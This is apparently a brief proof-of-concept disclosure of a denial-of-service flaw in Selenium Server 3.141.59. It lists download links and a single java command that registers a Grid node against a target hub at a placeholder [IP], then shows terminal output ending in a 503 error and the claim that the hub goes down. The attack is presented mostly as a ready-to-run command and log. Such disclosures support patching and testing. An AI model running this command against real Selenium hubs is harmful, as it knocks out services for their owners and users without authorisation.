

## Selenium Server 3.141.59 DoS Vulnerability

1: Download selenium server 3.141.59 standalone version from

<https://github.com/SeleniumHQ/selenium/releases/download/selenium-3.141.59/selenium-serverstandalone-3.141.59.jar>

2: Download geckodriver from

<https://github.com/mozilla/geckodriver/releases/download/v0.31.0/geckodriver-v0.31.0-linux64.tar.gz>

3: Open a terminal, and execute command: **java -**

**Dwebdriver.gecko.driver="geckodriver" -jar selenium-serverstandalone-3.141.59.jar -role webdriver -hub http://[IP]:4444/grid/register -port 5566 .**

```
[└ # java -Dwebdriver.gecko.driver="geckodriver" -jar selenium-serverstandalone-3.141.59.jar -role webdriver -hub http://[IP]:4444/grid/register -port 5566
20:57:00.070 INFO [GridLauncherV3.parse] - Selenium server version: 3.141.59, revision: e82be7d358
20:57:00.128 INFO [GridLauncherV3.lambda$buildLaunchers$7] - Launching a Selenium Grid node on port 5566
2022-06-07 20:57:00.182:INFO::main: Logging initialized @251ms to org.seleniumhq.jetty9.util.log.Slf4jLog
20:57:00.334 INFO [WebDriverServlet.<init>] - Initialising WebDriverServlet
20:57:00.385 INFO [SeleniumServer.boot] - Selenium Server is up and running on port 5566
20:57:00.385 INFO [GridLauncherV3.lambda$buildLaunchers$7] - Selenium Grid node is up and ready to register to the hub
20:57:00.416 INFO [SelfRegisteringRemote$1.run] - Starting auto registration thread. Will try to register every 5000 ms.
20:57:00.613 WARN [SelfRegisteringRemote.registerToHub] - Error getting the parameters from the hub. The node may end up with wrong timeouts.Error with the JSON of the config : Unable to determine type from: <. Last 1 characters read: <
Build info: version: '3.141.59', revision: 'e82be7d358', time: '2018-11-14T08:25:53'
System info: host: 'os', ip: '127.0.1.1', os.name: 'Linux', os.arch: 'amd64', os.version: '5.10.0-kali3-amd64', java.version: '11.0.10'
Driver info: driver.version: unknown
20:57:00.613 INFO [SelfRegisteringRemote.registerToHub] - Registering the node to the hub: http://[IP]:4444/grid/register
20:57:00.643 INFO [SelfRegisteringRemote$1.run] - Couldn't register this node: Error sending the registration request: The hub responded with 503
```

4: After few seconds, the hub server will be down (503 Error Code).